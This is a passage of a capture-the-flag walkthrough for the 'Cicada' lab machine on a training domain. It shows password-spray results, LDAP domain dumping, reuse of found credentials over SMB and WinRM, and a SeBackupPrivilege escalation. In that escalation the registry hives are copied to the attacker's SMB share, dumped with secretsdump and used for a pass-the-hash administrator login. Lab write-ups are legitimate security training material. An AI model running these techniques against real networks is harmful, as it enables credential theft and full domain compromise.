LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\protected:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\key:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\ras:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\allowed:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\denied:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\cicada-dc$:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\dnsadmins:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\dnsupdateproxy:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\groups:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\dev:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8We found credentials work in LDAP for user michael.wrightson
Verify it with ldapsearch
> ldapsearch -x -H ldap://cicada.htb -D "cicada\michael.wrightson" -w 'Cicada$M6Corpb*@Lp#nZp!8'
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 32 No such object
text: 0000208D: NameErr: DSID-03100221, problem 2001 (NO_OBJECT), data 0, best
match of:
''
# numResponses: 1We can leverage this to dump Active Directory information as pointed here: https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap
Download the tool here: https://github.com/dirkjanm/ldapdomaindump, and dump the domain information.
> python3 ldapdomaindump.py cicada.htb -u "cicada\michael.wrightson" -p 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finishedIn the domain_users.html file we find credentials for user david.orelious
It seems they work for SMB.
> crackmapexec smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3'
SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3So connect to the \\cicada.htb\dev share as david.orelious and download the Backup_script.ps1 file. Inside it there are credentials for user emily.oscars
Use them to open a WinRM shell and collect the user flag.
SYSTEM
Start from the low-priv shell as emily.oscars and enumerate the system and the user.
> Get-ComputerInfo
WindowsBuildLabEx : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 3/14/2024 10:43:33 AM
WindowsProductId : 00454-20165-01481-AA720
WindowsProductName : Windows Server 2022 Standard
WindowsRegisteredOrganization :
WindowsRegisteredOwner : Windows User
WindowsSystemRoot : C:\Windows
WindowsVersion : 2009
OSDisplayVersion : 21H2
> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator david.orelious emily.oscars
Guest john.smoulder krbtgt
michael.wrightson sarah.dantelia
The command completed with one or more errors.
> net user emily.oscars
User name emily.oscars
Full Name Emily Oscars
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/22/2024 2:20:17 PM
Password expires Never
Password changeable 8/23/2024 2:20:17 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.She belongs to the Backups Operators group, let's check her permissions.
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledShe has the SeBackupPrivilege which basically allows her to backup the entire file system, including the SAM and SYSTEM registry hives.
We can make a backup of the local file locally with reg save or remotely with Impacket as explained here:https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets
First run a local SMB share.
> python3 /usr/share/doc/python3-impacket/examples/smbserver.py myshare . -smb2supportThen dump the SAM, SYSTEM and SECURITY hives with Impacket's reg.py
> python3 /usr/share/doc/python3-impacket/examples/reg.py cicada.htb/emily.oscars:'Q!3@Lp#M6b*7t*Vt'@cicada.htb backup -o '\\10.10.xxx.xxx\myshare'Once you have exfiltrated the secrets, dump them with mimkatz, pypykatz or Impacket's secretsdump.py
> python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SAM.save -system SYSTEM.save local
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...And with the hashes you can just login in the machine as administrator.
You are root.
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